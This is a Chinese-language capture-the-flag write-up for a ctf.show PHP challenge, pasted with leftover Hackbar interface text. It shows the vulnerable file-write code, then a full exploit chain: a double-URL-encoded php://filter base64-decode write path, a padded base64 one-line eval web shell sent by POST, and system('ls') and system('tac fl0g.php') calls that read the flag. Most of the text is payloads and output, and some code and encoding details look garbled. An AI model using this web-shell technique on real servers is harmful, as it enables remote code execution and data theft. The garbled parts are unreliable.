

```
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 21:57:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

}else{
    highlight_file(__FILE__);
}
}
```

1.分析源码，url传入的内容会进行一次url解码，这又加了一个urldecode，所以传入file的内容要进行两次url编码，然后将content的内容追加到了<?php die('大佬别秀了');?>后面，要绕过这段代码

2.file传入payload: php://filter/write=convert.base64-decode/resource=shell.php

LOAD
SPLIT
EXECUTE
TEST
SQLI
XSS
LFI
SSRF
SSTI
SHELL
ENCODING
HASHING
CUSTOM

URL

https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/?file=php://filter/write=convert.base64-decode/resource=shell.php|

3.再用hackbar自带的url编码将全部字符编码两次

LOAD
SPLIT
EXECUTE
TEST
SQLI
XSS
LFI
SSRF
SSTI
SHELL
ENCODING
HASHING
CUSTOM

URL

https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/?file=php://filter/write=convert.base64-decode/resource=shell.php|

☐ Use POST method

URL encode
URL encode (all characters)
URL decode
URL decode (+ is space)
Base64 encode

Value

b37b7

得到

URL

https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/?file=php://filter/write=convert.base64-decode/resource=shell.php|

4,POST传入content一句话木马，同样用hackbar自带的base64编码器编码

Body

```
content=<?php @eval($_GET['pass']);?>
```

☒ Use POST method

enctype

application/x-www-form-urlencoded

Body

```
content=PD9waHAgaGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4=
```

5.在加密base64编码后的木马前面加上两个合法字符，因为到时候要和<?php die('大佬别秀了'):?>连接，而这是26个字节，base64解码时4个字节一组，要加两个字节补齐，不然会影响木马

☒ Use POST method

enctype

application/x-www-form-u

Body

```
content=11PD9waHAgaGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4=
```

6.Excute后访问，看到fl0g.php

🔗🔗🔗ufl0g.php index.php shell.php

LOAD | SPLIT | EXECUTE | TEST | SQLI | XSS | LFI | SSRF | SSTI | SHELL | ENCODING

URL  
https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/shell.php?pass=system('ls');?>

🔗🔗🔗u\$flag="ctfshow{c2e39e40-2cfc-4028-b799-a832bde28d84}"; \*/ # @link: https://c  
Modified time: 2020-09-16 11:25:00 # @Last Modified by: h1xa # @Date: 2020-09-16 11:

LOAD | SPLIT | EXECUTE | TEST | SQLI | XSS | LFI | SSRF | SSTI | SHELL | ENCODING | HASHIN

URL  
https://b37b76fc-f794-45f4-82b7-2da2efadc9b1.challenge.ctf.show/shell.php?pass=system('tac fl0g.php');?>

